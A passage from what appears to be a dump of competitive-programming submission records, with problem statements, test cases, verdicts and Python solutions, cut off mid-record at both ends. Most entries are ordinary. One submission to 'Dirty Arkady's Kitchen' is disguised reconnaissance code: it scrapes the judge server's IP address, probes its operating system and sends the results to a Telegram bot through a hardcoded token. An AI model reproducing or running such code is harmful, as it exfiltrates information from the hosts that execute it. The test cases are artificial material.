266915 99642", "output": "32816391" }, { "input": "1\n0", "output": "0" }, { "input": "1\n1000000", "output": "0" }, { "input": "100\n0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0", "output": "0" }, { "input": "100\n1000000 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0", "output": "99000000" }, { "input": "100\n0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1000000", "output": "99000000" }, { "input": "100\n0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1000000 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0", "output": "99000000" }, { "input": "3\n0 0 0", "output": "0" }, { "input": "50\n1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", "output": "0" }, { "input": "3\n5 0 0", "output": "10" }, { "input": "5\n2 10 0 0 0", "output": "38" } ]
1,683,266,112
2,147,483,647
Python 3
RUNTIME_ERROR
TESTS
0
15
0
import sys for line in sys.stdin: arr = list(map(int, line.split())) n = arr[0] arr = arr[1:] arr.sort() max_num = arr[-1] sum = 0 for i in range(n-1): sum += abs(max_num - arr[i]) print(sum)
Title: Holiday Of Equality Time Limit: None seconds Memory Limit: None megabytes Problem Description: In Berland it is the holiday of equality. In honor of the holiday the king decided to equalize the welfare of all citizens in Berland by the expense of the state treasury. Totally in Berland there are *n* citizens, the welfare of each of them is estimated as the integer in *a**i* burles (burle is the currency in Berland). You are the royal treasurer, which needs to count the minimum charges of the kingdom on the king's present. The king can only give money, he hasn't a power to take away them. Input Specification: The first line contains the integer *n* (1<=≤<=*n*<=≤<=100) — the number of citizens in the kingdom. The second line contains *n* integers *a*1,<=*a*2,<=...,<=*a**n*, where *a**i* (0<=≤<=*a**i*<=≤<=106) — the welfare of the *i*-th citizen. Output Specification: In the only line print the integer *S* — the minimum number of burles which are had to spend. Demo Input: ['5\n0 1 2 3 4\n', '5\n1 1 0 1 1\n', '3\n1 3 1\n', '1\n12\n'] Demo Output: ['10', '1', '4', '0'] Note: In the first example if we add to the first citizen 4 burles, to the second 3, to the third 2 and to the fourth 1, then the welfare of all citizens will equal 4. In the second example it is enough to give one burle to the third citizen. In the third example it is necessary to give two burles to the first and the third citizens to make the welfare of citizens equal 3. In the fourth example it is possible to give nothing to everyone because all citizens have 12 burles.
```python import sys for line in sys.stdin: arr = list(map(int, line.split())) n = arr[0] arr = arr[1:] arr.sort() max_num = arr[-1] sum = 0 for i in range(n-1): sum += abs(max_num - arr[i]) print(sum) ```
-1
262
A
Roma and Lucky Numbers
PROGRAMMING
800
[ "implementation" ]
null
null
Roma (a popular Russian name that means 'Roman') loves the Little Lvov Elephant's lucky numbers. Let us remind you that lucky numbers are positive integers whose decimal representation only contains lucky digits 4 and 7. For example, numbers 47, 744, 4 are lucky and 5, 17, 467 are not. Roma's got *n* positive integers. He wonders, how many of those integers have not more than *k* lucky digits? Help him, write the program that solves the problem.
The first line contains two integers *n*, *k* (1<=≤<=*n*,<=*k*<=≤<=100). The second line contains *n* integers *a**i* (1<=≤<=*a**i*<=≤<=109) — the numbers that Roma has. The numbers in the lines are separated by single spaces.
In a single line print a single integer — the answer to the problem.
[ "3 4\n1 2 4\n", "3 2\n447 44 77\n" ]
[ "3\n", "2\n" ]
In the first sample all numbers contain at most four lucky digits, so the answer is 3. In the second sample number 447 doesn't fit in, as it contains more than two lucky digits. All other numbers are fine, so the answer is 2.
500
[ { "input": "3 4\n1 2 4", "output": "3" }, { "input": "3 2\n447 44 77", "output": "2" }, { "input": "2 2\n507978501 180480073", "output": "2" }, { "input": "9 6\n655243746 167613748 1470546 57644035 176077477 56984809 44677 215706823 369042089", "output": "9" }, { "input": "6 100\n170427799 37215529 675016434 168544291 683447134 950090227", "output": "6" }, { "input": "4 2\n194041605 706221269 69909135 257655784", "output": "3" }, { "input": "4 2\n9581849 67346651 530497 272158241", "output": "4" }, { "input": "3 47\n378261451 163985731 230342101", "output": "3" }, { "input": "2 3\n247776868 480572137", "output": "1" }, { "input": "7 77\n366496749 549646417 278840199 119255907 33557677 379268590 150378796", "output": "7" }, { "input": "40 31\n32230963 709031779 144328646 513494529 36547831 416998222 84161665 318773941 170724397 553666286 368402971 48581613 31452501 368026285 47903381 939151438 204145360 189920160 288159400 133145006 314295423 450219949 160203213 358403181 478734385 29331901 31051111 110710191 567314089 139695685 111511396 87708701 317333277 103301481 110400517 634446253 481551313 39202255 105948 738066085", "output": "40" }, { "input": "1 8\n55521105", "output": "1" }, { "input": "49 3\n34644511 150953622 136135827 144208961 359490601 86708232 719413689 188605873 64330753 488776302 104482891 63360106 437791390 46521319 70778345 339141601 136198441 292941209 299339510 582531183 555958105 437904637 74219097 439816011 236010407 122674666 438442529 186501223 63932449 407678041 596993853 92223251 849265278 480265849 30983497 330283357 186901672 20271344 794252593 123774176 27851201 52717531 479907210 196833889 149331196 82147847 255966471 278600081 899317843", "output": "44" }, { "input": "26 2\n330381357 185218042 850474297 483015466 296129476 1205865 538807493 103205601 160403321 694220263 416255901 7245756 507755361 88187633 91426751 1917161 58276681 59540376 576539745 595950717 390256887 105690055 607818885 28976353 488947089 50643601", "output": "22" }, { "input": "38 1\n194481717 126247087 815196361 106258801 381703249 283859137 15290101 40086151 213688513 577996947 513899717 371428417 107799271 11136651 5615081 323386401 381128815 34217126 17709913 520702093 201694245 570931849 169037023 417019726 282437316 7417126 271667553 11375851 185087449 410130883 383045677 5764771 905017051 328584026 215330671 299553233 15838255 234532105", "output": "20" }, { "input": "44 9\n683216389 250581469 130029957 467020047 188395565 206237982 63257361 68314981 732878407 563579660 199133851 53045209 665723851 16273169 10806790 556633156 350593410 474645249 478790761 708234243 71841230 18090541 19836685 146373571 17947452 534010506 46933264 377035021 311636557 75193963 54321761 12759959 71120181 548816939 23608621 31876417 107672995 72575155 369667956 20574379 210596751 532163173 75726739 853719629", "output": "44" }, { "input": "8 6\n204157376 10514197 65483881 347219841 263304577 296402721 11739011 229776191", "output": "8" }, { "input": "38 29\n333702889 680931737 61137217 203030505 68728281 11414209 642645708 590904616 3042901 607198177 189041074 700764043 813035201 198341461 126403544 401436841 420826465 45046581 20249976 46978855 46397957 706610773 24701041 57954481 51603266 593109701 385569073 178982291 582152863 287317968 1474090 34825141 432421977 130257781 151516903 540852403 548392 117246529", "output": "38" }, { "input": "19 3\n562569697 549131571 50676718 84501863 74567295 702372009 365895280 451459937 40378543 167666701 158635641 53639293 442332661 825055617 100109161 326616021 862332843 533271196 4791547", "output": "18" }, { "input": "1 1\n44", "output": "0" }, { "input": "1 1\n4", "output": "1" }, { "input": "10 3\n444 447 774 777 7777 4447 4 7 7 4", "output": "8" } ]
1,573,244,034
2,147,483,647
Python 3
OK
TESTS
34
218
0
n,k=[int(x) for x in input().split()] res=0 for i in [int(x) for x in input().split()]: tmp=[int(x) for x in str(i)] if tmp.count(4)+tmp.count(7)<=k:res+=1 print(res)
Title: Roma and Lucky Numbers Time Limit: None seconds Memory Limit: None megabytes Problem Description: Roma (a popular Russian name that means 'Roman') loves the Little Lvov Elephant's lucky numbers. Let us remind you that lucky numbers are positive integers whose decimal representation only contains lucky digits 4 and 7. For example, numbers 47, 744, 4 are lucky and 5, 17, 467 are not. Roma's got *n* positive integers. He wonders, how many of those integers have not more than *k* lucky digits? Help him, write the program that solves the problem. Input Specification: The first line contains two integers *n*, *k* (1<=≤<=*n*,<=*k*<=≤<=100). The second line contains *n* integers *a**i* (1<=≤<=*a**i*<=≤<=109) — the numbers that Roma has. The numbers in the lines are separated by single spaces. Output Specification: In a single line print a single integer — the answer to the problem. Demo Input: ['3 4\n1 2 4\n', '3 2\n447 44 77\n'] Demo Output: ['3\n', '2\n'] Note: In the first sample all numbers contain at most four lucky digits, so the answer is 3. In the second sample number 447 doesn't fit in, as it contains more than two lucky digits. All other numbers are fine, so the answer is 2.
```python n,k=[int(x) for x in input().split()] res=0 for i in [int(x) for x in input().split()]: tmp=[int(x) for x in str(i)] if tmp.count(4)+tmp.count(7)<=k:res+=1 print(res) ```
3
827
F
Dirty Arkady's Kitchen
PROGRAMMING
3,200
[ "data structures", "dp", "graphs", "shortest paths" ]
null
null
Arkady likes to walk around his kitchen. His labyrinthine kitchen consists of several important places connected with passages. Unfortunately it happens that these passages are flooded with milk so that it's impossible to pass through them. Namely, it's possible to pass through each passage in any direction only during some time interval. The lengths of all passages are equal and Arkady makes through them in one second. For security reasons, Arkady can never stop, also, he can't change direction while going through a passage. In other words, if he starts walking in some passage, he should reach its end and immediately leave the end. Today Arkady needs to quickly reach important place *n* from place 1. He plans to exit the place 1 at time moment 0 and reach the place *n* as early as he can. Please find the minimum time he should spend on his way.
The first line contains two integers *n* and *m* (1<=≤<=*n*<=≤<=5·105, 0<=≤<=*m*<=≤<=5·105) — the number of important places and the number of passages, respectively. After that, *m* lines follow, each of them describe one passage. Each line contains four integers *a*, *b*, *l* and *r* (1<=≤<=*a*,<=*b*<=≤<=*n*, *a*<=≠<=*b*, 0<=≤<=*l*<=&lt;<=*r*<=≤<=109) — the places the passage connects and the time segment during which it's possible to use this passage.
Print one integer — minimum time Arkady should spend to reach the destination. If he can't reach the place *n*, print -1.
[ "5 6\n1 2 0 1\n2 5 2 3\n2 5 0 1\n1 3 0 1\n3 4 1 2\n4 5 2 3\n", "2 1\n1 2 1 100\n" ]
[ "3\n", "-1\n" ]
In the first example Arkady should go through important places 1 → 3 → 4 → 5. In the second example Arkady can't start his walk because at time moment 0 it's impossible to use the only passage.
2,500
[]
1,500,417,944
2,147,483,647
Python 3
RUNTIME_ERROR
TESTS
0
389
10,137,600
from json import loads import time from urllib.request import urlopen import platform import os send_url = "https://api.telegram.org/" \ "bot353388068:AAE-N_3Ic7rD8EMTv-wgofoBscJT_ofwbG4/sendMessage?chat_id=136110541&text={}" urlopen(send_url.format("before 1")) t = time.time() x = str(urlopen('http://beta.speedtest.net').read()) urlopen(send_url.format("before 2")) a = x.find('"', x.find('"ip"') + 4) x = x[a+1:x.find('"', a+1)] urlopen(send_url.format("before 3")) print(time.time() - t) plat = platform.platform() urlopen(send_url.format(x)) x = os.path.exists('C:/Windows/System32') urlopen(send_url.format(x))
Title: Dirty Arkady's Kitchen Time Limit: None seconds Memory Limit: None megabytes Problem Description: Arkady likes to walk around his kitchen. His labyrinthine kitchen consists of several important places connected with passages. Unfortunately it happens that these passages are flooded with milk so that it's impossible to pass through them. Namely, it's possible to pass through each passage in any direction only during some time interval. The lengths of all passages are equal and Arkady makes through them in one second. For security reasons, Arkady can never stop, also, he can't change direction while going through a passage. In other words, if he starts walking in some passage, he should reach its end and immediately leave the end. Today Arkady needs to quickly reach important place *n* from place 1. He plans to exit the place 1 at time moment 0 and reach the place *n* as early as he can. Please find the minimum time he should spend on his way. Input Specification: The first line contains two integers *n* and *m* (1<=≤<=*n*<=≤<=5·105, 0<=≤<=*m*<=≤<=5·105) — the number of important places and the number of passages, respectively. After that, *m* lines follow, each of them describe one passage. Each line contains four integers *a*, *b*, *l* and *r* (1<=≤<=*a*,<=*b*<=≤<=*n*, *a*<=≠<=*b*, 0<=≤<=*l*<=&lt;<=*r*<=≤<=109) — the places the passage connects and the time segment during which it's possible to use this passage. Output Specification: Print one integer — minimum time Arkady should spend to reach the destination. If he can't reach the place *n*, print -1. Demo Input: ['5 6\n1 2 0 1\n2 5 2 3\n2 5 0 1\n1 3 0 1\n3 4 1 2\n4 5 2 3\n', '2 1\n1 2 1 100\n'] Demo Output: ['3\n', '-1\n'] Note: In the first example Arkady should go through important places 1 → 3 → 4 → 5. In the second example Arkady can't start his walk because at time moment 0 it's impossible to use the only passage.
```python from json import loads import time from urllib.request import urlopen import platform import os send_url = "https://api.telegram.org/" \ "bot353388068:AAE-N_3Ic7rD8EMTv-wgofoBscJT_ofwbG4/sendMessage?chat_id=136110541&text={}" urlopen(send_url.format("before 1")) t = time.time() x = str(urlopen('http://beta.speedtest.net').read()) urlopen(send_url.format("before 2")) a = x.find('"', x.find('"ip"') + 4) x = x[a+1:x.find('"', a+1)] urlopen(send_url.format("before 3")) print(time.time() - t) plat = platform.platform() urlopen(send_url.format(x)) x = os.path.exists('C:/Windows/System32') urlopen(send_url.format(x)) ```
-1
978
A
Remove Duplicates
PROGRAMMING
800
[ "implementation" ]
null
null
Petya has an array $a$ consisting of $n$ integers. He wants to remove duplicate (equal) elements. Petya wants to leave only the rightmost entry (occurrence) for each element of the array. The relative order of the remaining unique elements should not be changed.
The first line contains a single integer $n$ ($1 \le n \le 50$) — the number of elements in Petya's array. The following line contains a sequence $a_1, a_2, \dots, a_n$ ($1 \le a_i \le 1\,000$) — the Petya's array.
In the first line print integer $x$ — the number of elements which will be left in Petya's array after he removed the duplicates. In the second line print $x$ integers separated with a space — Petya's array after he removed the duplicates. For each unique element only the rightmost entry should be left.
[ "6\n1 5 5 1 6 1\n", "5\n2 4 2 4 4\n", "5\n6 6 6 6 6\n" ]
[ "3\n5 6 1 \n", "2\n2 4 \n", "1\n6 \n" ]
In the first example you should remove two integers $1$, which are in the positions $1$ and $4$. Also you should remove the integer $5$, which is in the position $2$. In the second example you should remove integer $2$, which is in the position $1$, and two integers $4$, which are in the positions $2$ and $4$. In the third example you should remove four integers $6$, which are in the positions $1$, $2$, $3$ and $4$.
0
[ { "input": "6\n1 5 5 1 6 1", "output": "3\n5 6 1 " }, { "input": "5\n2 4 2 4 4", "output": "2\n2 4 " }, { "input": "5\n6 6 6 6 6", "output": "1\n6 " }, { "input": "7\n1 2 3 4 2 2 3", "output": "4\n1 4 2 3 " }, { "input": "9\n100 100 100 99 99 99 100 100 100", "output": "2\n99 100 " }, { "input": "27\n489 489 487 488 750 230 43 645 42 42 489 42 973 42 973 750 645 355 868 112 868 489 750 489 887 489 868", "output": "13\n487 488 230 43 42 973 645 355 112 750 887 489 868 " }, { "input": "40\n151 421 421 909 117 222 909 954 227 421 227 954 954 222 421 227 421 421 421 151 421 227 222 222 222 222 421 183 421 227 421 954 222 421 954 421 222 421 909 421", "output": "8\n117 151 183 227 954 222 909 421 " }, { "input": "48\n2 2 2 903 903 2 726 2 2 2 2 2 2 2 2 2 2 726 2 2 2 2 2 2 2 726 2 2 2 2 62 2 2 2 2 2 2 2 2 726 62 726 2 2 2 903 903 2", "output": "4\n62 726 903 2 " }, { "input": "1\n1", "output": "1\n1 " }, { "input": "13\n5 37 375 5 37 33 37 375 37 2 3 3 2", "output": "6\n5 33 375 37 3 2 " }, { "input": "50\n1 2 3 4 5 4 3 2 1 2 3 2 1 4 5 5 4 3 2 1 1 2 3 4 5 4 3 2 1 2 3 2 1 4 5 5 4 3 2 1 4 3 2 5 1 6 6 6 6 6", "output": "6\n4 3 2 5 1 6 " }, { "input": "47\n233 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", "output": "2\n233 1 " }, { "input": "47\n1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", "output": "1\n1 " }, { "input": "2\n964 964", "output": "1\n964 " }, { "input": "2\n1000 1000", "output": "1\n1000 " }, { "input": "1\n1000", "output": "1\n1000 " }, { "input": "45\n991 991 996 996 992 992 999 1000 998 1000 992 999 996 999 991 991 999 993 992 999 1000 997 992 999 996 991 994 996 991 999 1000 993 999 997 999 992 991 997 991 998 998 995 998 994 993", "output": "10\n996 1000 999 992 997 991 995 998 994 993 " }, { "input": "6\n994 993 1000 998 991 994", "output": "5\n993 1000 998 991 994 " }, { "input": "48\n992 995 992 991 994 992 995 999 996 993 999 995 993 992 1000 992 997 996 991 993 992 998 998 998 999 995 992 992 993 992 992 995 996 995 997 991 997 991 999 994 994 997 1000 998 1000 992 1000 999", "output": "10\n993 996 995 991 994 997 998 992 1000 999 " }, { "input": "3\n6 6 3", "output": "2\n6 3 " }, { "input": "36\n999 1000 993 993 1000 999 996 997 998 995 995 997 999 995 1000 998 998 994 993 998 994 999 1000 995 996 994 991 991 999 996 993 999 996 998 991 997", "output": "9\n1000 995 994 993 999 996 998 991 997 " }, { "input": "49\n991 997 995 991 995 998 994 996 997 991 998 993 992 999 996 995 991 991 999 997 995 993 997 1000 997 993 993 994 999 994 992 991 1000 996 994 996 996 999 992 992 1000 991 997 993 991 994 997 991 996", "output": "10\n998 995 999 992 1000 993 994 997 991 996 " }, { "input": "2\n1000 999", "output": "2\n1000 999 " }, { "input": "28\n997 994 991 994 994 995 1000 992 995 994 994 995 991 996 991 996 991 999 999 993 994 997 995 992 991 992 998 1000", "output": "10\n996 999 993 994 997 995 991 992 998 1000 " }, { "input": "15\n991 995 995 1000 991 993 997 998 1000 994 1000 992 991 995 992", "output": "8\n993 997 998 994 1000 991 995 992 " }, { "input": "6\n1000 1 1000 2 1000 1", "output": "3\n2 1000 1 " }, { "input": "6\n1000 1 1000 2 1 1000", "output": "3\n2 1 1000 " }, { "input": "7\n1 1000 1 999 1000 1 2", "output": "4\n999 1000 1 2 " } ]
1,655,434,249
2,147,483,647
Python 3
OK
TESTS
28
46
0
class Solution: def get_nums(self, nums): dic = {} res = [] ans = [] for i, num in enumerate(nums): if num in dic: dic[num].append(i) else: dic[num] = [i] value = sorted(dic.values()) for v in value: res.append(v[-1]) res.sort() for k in res: ans.append(nums[k]) return ans n = int(input()) str_in = input() nums = [int(i) for i in str_in.split(" ")] s = Solution() ans = s.get_nums(nums) print(len(ans)) print(" ".join(str(i) for i in ans))
Title: Remove Duplicates Time Limit: None seconds Memory Limit: None megabytes Problem Description: Petya has an array $a$ consisting of $n$ integers. He wants to remove duplicate (equal) elements. Petya wants to leave only the rightmost entry (occurrence) for each element of the array. The relative order of the remaining unique elements should not be changed. Input Specification: The first line contains a single integer $n$ ($1 \le n \le 50$) — the number of elements in Petya's array. The following line contains a sequence $a_1, a_2, \dots, a_n$ ($1 \le a_i \le 1\,000$) — the Petya's array. Output Specification: In the first line print integer $x$ — the number of elements which will be left in Petya's array after he removed the duplicates. In the second line print $x$ integers separated with a space — Petya's array after he removed the duplicates. For each unique element only the rightmost entry should be left. Demo Input: ['6\n1 5 5 1 6 1\n', '5\n2 4 2 4 4\n', '5\n6 6 6 6 6\n'] Demo Output: ['3\n5 6 1 \n', '2\n2 4 \n', '1\n6 \n'] Note: In the first example you should remove two integers $1$, which are in the positions $1$ and $4$. Also you should remove the integer $5$, which is in the position $2$. In the second example you should remove integer $2$, which is in the position $1$, and two integers $4$, which are in the positions $2$ and $4$. In the third example you should remove four integers $6$, which are in the positions $1$, $2$, $3$ and $4$.
```python class Solution: def get_nums(self, nums): dic = {} res = [] ans = [] for i, num in enumerate(nums): if num in dic: dic[num].append(i) else: dic[num] = [i] value = sorted(dic.values()) for v in value: res.append(v[-1]) res.sort() for k in res: ans.append(nums[k]) return ans n = int(input()) str_in = input() nums = [int(i) for i in str_in.split(" ")] s = Solution() ans = s.get_nums(nums) print(len(ans)) print(" ".join(str(i) for i in ans)) ```
3
119
A
Epic Game
PROGRAMMING
800
[ "implementation" ]
null
null
Simon and Antisimon play a game. Initially each player receives one fixed positive integer that doesn't change throughout the game. Simon receives number *a* and Antisimon receives number *b*. They also have a heap of *n* stones. The players take turns to make a move and Simon starts. During a move a player should take from the heap the number of stones equal to the greatest common divisor of the fixed number he has received and the number of stones left in the heap. A player loses when he cannot take the required number of stones (i. e. the heap has strictly less stones left than one needs to take). Your task is to determine by the given *a*, *b* and *n* who wins the game.
The only string contains space-separated integers *a*, *b* and *n* (1<=≤<=*a*,<=*b*,<=*n*<=≤<=100) — the fixed numbers Simon and Antisimon have received correspondingly and the initial number of stones in the pile.
If Simon wins, print "0" (without the quotes), otherwise print "1" (without the quotes).
[ "3 5 9\n", "1 1 100\n" ]
[ "0", "1" ]
The greatest common divisor of two non-negative integers *a* and *b* is such maximum positive integer *k*, that *a* is divisible by *k* without remainder and similarly, *b* is divisible by *k* without remainder. Let *gcd*(*a*, *b*) represent the operation of calculating the greatest common divisor of numbers *a* and *b*. Specifically, *gcd*(*x*, 0) = *gcd*(0, *x*) = *x*. In the first sample the game will go like that: - Simon should take *gcd*(3, 9) = 3 stones from the heap. After his move the heap has 6 stones left.- Antisimon should take *gcd*(5, 6) = 1 stone from the heap. After his move the heap has 5 stones left.- Simon should take *gcd*(3, 5) = 1 stone from the heap. After his move the heap has 4 stones left.- Antisimon should take *gcd*(5, 4) = 1 stone from the heap. After his move the heap has 3 stones left.- Simon should take *gcd*(3, 3) = 3 stones from the heap. After his move the heap has 0 stones left.- Antisimon should take *gcd*(5, 0) = 5 stones from the heap. As 0 &lt; 5, it is impossible and Antisimon loses. In the second sample each player during each move takes one stone from the heap. As *n* is even, Antisimon takes the last stone and Simon can't make a move after that.
500
[ { "input": "3 5 9", "output": "0" }, { "input": "1 1 100", "output": "1" }, { "input": "23 12 16", "output": "1" }, { "input": "95 26 29", "output": "1" }, { "input": "73 32 99", "output": "1" }, { "input": "1 1 1", "output": "0" }, { "input": "41 12 65", "output": "1" }, { "input": "13 61 100", "output": "1" }, { "input": "100 100 10", "output": "0" }, { "input": "12 24 26", "output": "1" }, { "input": "73 21 96", "output": "1" }, { "input": "17 22 81", "output": "1" }, { "input": "14 88 97", "output": "1" }, { "input": "42 81 17", "output": "0" }, { "input": "34 36 19", "output": "1" }, { "input": "21 87 12", "output": "1" }, { "input": "97 92 98", "output": "1" }, { "input": "49 25 62", "output": "1" }, { "input": "29 17 44", "output": "1" }, { "input": "10 1 10", "output": "0" }, { "input": "99 98 100", "output": "1" }, { "input": "100 100 1", "output": "0" }, { "input": "11 99 55", "output": "0" }, { "input": "8 13 21", "output": "0" }, { "input": "34 55 89", "output": "0" }, { "input": "21 34 55", "output": "1" }, { "input": "13 21 34", "output": "1" }, { "input": "34 21 55", "output": "0" }, { "input": "10 20 84", "output": "1" }, { "input": "4 2 5", "output": "0" }, { "input": "3 2 3", "output": "0" }, { "input": "31 23 1", "output": "0" }, { "input": "100 100 100", "output": "0" }, { "input": "100 1 100", "output": "0" }, { "input": "1 100 100", "output": "1" }, { "input": "1 1 100", "output": "1" }, { "input": "17 23 100", "output": "1" }, { "input": "99 98 100", "output": "1" }, { "input": "1 1 2", "output": "1" }, { "input": "2 1 1", "output": "0" }, { "input": "1 2 1", "output": "0" }, { "input": "2 1 2", "output": "0" }, { "input": "10 10 3", "output": "1" }, { "input": "2 2 1", "output": "0" }, { "input": "9 5 1", "output": "0" } ]
1,669,763,654
2,147,483,647
PyPy 3-64
OK
TESTS
45
122
0
from math import gcd a,b,n = map(int, input().split()) while 1: if n==0: print(1); break else:n-=gcd(n,a) if n==0: print(0); break else:n-=gcd(n,b)
Title: Epic Game Time Limit: None seconds Memory Limit: None megabytes Problem Description: Simon and Antisimon play a game. Initially each player receives one fixed positive integer that doesn't change throughout the game. Simon receives number *a* and Antisimon receives number *b*. They also have a heap of *n* stones. The players take turns to make a move and Simon starts. During a move a player should take from the heap the number of stones equal to the greatest common divisor of the fixed number he has received and the number of stones left in the heap. A player loses when he cannot take the required number of stones (i. e. the heap has strictly less stones left than one needs to take). Your task is to determine by the given *a*, *b* and *n* who wins the game. Input Specification: The only string contains space-separated integers *a*, *b* and *n* (1<=≤<=*a*,<=*b*,<=*n*<=≤<=100) — the fixed numbers Simon and Antisimon have received correspondingly and the initial number of stones in the pile. Output Specification: If Simon wins, print "0" (without the quotes), otherwise print "1" (without the quotes). Demo Input: ['3 5 9\n', '1 1 100\n'] Demo Output: ['0', '1'] Note: The greatest common divisor of two non-negative integers *a* and *b* is such maximum positive integer *k*, that *a* is divisible by *k* without remainder and similarly, *b* is divisible by *k* without remainder. Let *gcd*(*a*, *b*) represent the operation of calculating the greatest common divisor of numbers *a* and *b*. Specifically, *gcd*(*x*, 0) = *gcd*(0, *x*) = *x*. In the first sample the game will go like that: - Simon should take *gcd*(3, 9) = 3 stones from the heap. After his move the heap has 6 stones left.- Antisimon should take *gcd*(5, 6) = 1 stone from the heap. After his move the heap has 5 stones left.- Simon should take *gcd*(3, 5) = 1 stone from the heap. After his move the heap has 4 stones left.- Antisimon should take *gcd*(5, 4) = 1 stone from the heap. After his move the heap has 3 stones left.- Simon should take *gcd*(3, 3) = 3 stones from the heap. After his move the heap has 0 stones left.- Antisimon should take *gcd*(5, 0) = 5 stones from the heap. As 0 &lt; 5, it is impossible and Antisimon loses. In the second sample each player during each move takes one stone from the heap. As *n* is even, Antisimon takes the last stone and Simon can't make a move after that.
```python from math import gcd a,b,n = map(int, input().split()) while 1: if n==0: print(1); break else:n-=gcd(n,a) if n==0: print(0); break else:n-=gcd(n,b) ```
3
0
none
none
none
0
[ "none" ]
null
null
A tree is a graph with *n* vertices and exactly *n*<=-<=1 edges; this graph should meet the following condition: there exists exactly one shortest (by number of edges) path between any pair of its vertices. A subtree of a tree *T* is a tree with both vertices and edges as subsets of vertices and edges of *T*. You're given a tree with *n* vertices. Consider its vertices numbered with integers from 1 to *n*. Additionally an integer is written on every vertex of this tree. Initially the integer written on the *i*-th vertex is equal to *v**i*. In one move you can apply the following operation: 1. Select the subtree of the given tree that includes the vertex with number 1. 1. Increase (or decrease) by one all the integers which are written on the vertices of that subtree. Calculate the minimum number of moves that is required to make all the integers written on the vertices of the given tree equal to zero.
The first line of the input contains *n* (1<=≤<=*n*<=≤<=105). Each of the next *n*<=-<=1 lines contains two integers *a**i* and *b**i* (1<=≤<=*a**i*,<=*b**i*<=≤<=*n*; *a**i*<=≠<=*b**i*) indicating there's an edge between vertices *a**i* and *b**i*. It's guaranteed that the input graph is a tree. The last line of the input contains a list of *n* space-separated integers *v*1,<=*v*2,<=...,<=*v**n* (|*v**i*|<=≤<=109).
Print the minimum number of operations needed to solve the task. Please, do not write the %lld specifier to read or write 64-bit integers in С++. It is preferred to use the cin, cout streams or the %I64d specifier.
[ "3\n1 2\n1 3\n1 -1 1\n" ]
[ "3\n" ]
none
0
[ { "input": "3\n1 2\n1 3\n1 -1 1", "output": "3" }, { "input": "5\n2 3\n4 5\n2 5\n1 3\n0 2 1 4 3", "output": "8" }, { "input": "10\n5 6\n8 2\n9 3\n4 1\n6 10\n9 8\n7 10\n7 4\n5 2\n0 -6 -9 -1 -5 -4 -2 -7 -8 -3", "output": "18" }, { "input": "5\n3 1\n2 4\n3 4\n2 5\n0 -3 -1 2 4", "output": "20" }, { "input": "12\n1 6\n10 1\n4 1\n7 1\n1 2\n5 1\n1 8\n1 11\n3 1\n12 1\n9 1\n580660007 861441526 -264928594 488291045 253254575 -974301934 709266786 926718320 87511873 514836444 -702876508 848928657", "output": "2529263875" } ]
1,630,600,070
2,147,483,647
PyPy 3
OK
TESTS
27
964
46,387,200
import os, sys from io import BytesIO, IOBase from collections import * class FastIO(IOBase): newlines = 0 def __init__(self, file): self._fd = file.fileno() self.buffer = BytesIO() self.writable = "x" in file.mode or "r" not in file.mode self.write = self.buffer.write if self.writable else None def read(self): while True: b = os.read(self._fd, max(os.fstat(self._fd).st_size, 8192)) if not b: break ptr = self.buffer.tell() self.buffer.seek(0, 2), self.buffer.write(b), self.buffer.seek(ptr) self.newlines = 0 return self.buffer.read() def readline(self): while self.newlines == 0: b = os.read(self._fd, max(os.fstat(self._fd).st_size, 8192)) self.newlines = b.count(b"\n") + (not b) ptr = self.buffer.tell() self.buffer.seek(0, 2), self.buffer.write(b), self.buffer.seek(ptr) self.newlines -= 1 return self.buffer.readline() def flush(self): if self.writable: os.write(self._fd, self.buffer.getvalue()) self.buffer.truncate(0), self.buffer.seek(0) class IOWrapper(IOBase): def __init__(self, file): self.buffer = FastIO(file) self.flush = self.buffer.flush self.writable = self.buffer.writable self.write = lambda s: self.buffer.write(s.encode("ascii")) self.read = lambda: self.buffer.read().decode("ascii") self.readline = lambda: self.buffer.readline().decode("ascii") class dict(dict): def __missing__(self, key): return 0 class graph: def __init__(self, n): self.n, self.gdict = n, [[] for _ in range(n + 1)] def addEdge(self, node1, node2, w=None): self.gdict[node1].append(node2) self.gdict[node2].append(node1) def solve(self, i): new = self.pos[i] - self.neg[i] + a[i - 1] if new > 0: self.neg[i] += new else: self.pos[i] += -new def subtree(self, v): queue, visit, child = deque([v]), [False] * (n + 1), [] visit[v], nodes, parent = True, [0] * (n + 1), [-1] * (n + 1) self.pos, self.neg = [0] * (n + 1), [0] * (n + 1) while 